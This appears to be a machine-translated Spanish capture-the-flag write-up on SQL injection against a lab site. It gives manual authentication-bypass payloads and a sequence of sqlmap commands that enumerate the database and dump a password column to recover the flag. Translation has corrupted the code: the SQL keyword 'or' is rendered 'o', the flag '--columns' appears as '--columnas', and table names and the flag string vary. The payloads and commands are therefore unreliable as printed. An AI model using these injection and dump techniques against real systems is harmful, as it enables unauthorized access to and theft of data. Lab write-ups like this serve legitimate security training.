Tabla de contenido
1. Inyección manual (principio de contraseña universal)
Segundo, implementación de sqlmap
1. Inyección manual (principio de contraseña universal)
Abra el enlace, solicite la identificación e intente omitirlo.
Pruebe la contraseña universal y utilice declaraciones lógicas para devolver el resultado
Construir carga útil
/?id=' o ''='
Aquí pasamos un valor a la identificación en el front-end usando parámetros get, y el back-end consultará el contenido que enviamos.
Por ejemplo, lo que enviamos es id=123
Y parte del contenido que probablemente se mostrará en el backend es 'id=123'
Habrá comillas simples para incluir este contenido para consultas.
De esta manera podemos comprender mejor el principio de la carga útil anterior.
Pasamos id=' o ''='. De hecho, cuando llegamos al backend, se ve así: 'id=' o ''=''
Explicación de las cuatro comillas simples que ingresamos:
La primera comilla simple forma un cierre con la comilla simple anterior durante la consulta;
La segunda comilla simple forma un cierre con las siguientes comillas simples durante la consulta;
La tercera y cuarta comillas simples son en realidad lo que hace que el signo igual sea verdadero, es decir, '="
Sabemos que siempre que uno de los dos lados de o sea verdadero, el resultado será verdadero, y las comillas simples = comillas simples definitivamente siempre son verdaderas.
También es posible reemplazar '=" con 1=1
es decir, carga útil
/?id=' o '1=1
Hay otra carga útil aquí
/?id=' o 1=1 -- +
La primera comilla simple también se cierra con la comilla simple anterior en la consulta y --+ actúa como un comentario para comentar las siguientes declaraciones.
Para obtener conocimientos básicos más detallados y el proceso de inyección manual de SQL, consulte mi blog anterior.
El resultado es el mismo
Obtener bandera es: cyberpeace{818e277716501adc71a98b501c4d7a99}
Segundo, implementación de sqlmap
A continuación usamos sqlmap para inyectar
La introducción y el uso de sqlmap también se presentan en detalle en el blog anterior, puede consultar
Primero use sqlmap para verificar aproximadamente
sqlmap -u "http://61.147.171.105:54285/?id=1"
Intenta enumerar todas las bases de datos.
sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs
Puede ver que hay una base de datos llamada cyber y especificamos la tabla para enumerarla.
Enumerar las tablas de la base de datos especificada.
sqlmap -u "http://61.147.171.105:54285/?id=1" -D ciber --tables
Puede ver que solo hay una tabla en esta base de datos y tiene el mismo nombre que la base de datos.
Seguimos enumerando los campos de la tabla especificada.
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cibernético -T cibernético --columnas
Intenta obtener los datos en el campo especificado.
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cibernético -T cibernético -C pw --dump
obtener bandera
ciberpaz{818e277716501adc71a98b501c4d7a99}
3. Parámetros de uso común
Resuma algunos parámetros de uso común de sqlmap:
-D selecciona qué base de datos usar
-T selecciona qué tabla usar
-C selecciona qué columna usar
--tables lista las tablas actuales
--columnas enumeran las columnas actuales
--dump Obtiene los datos en el campo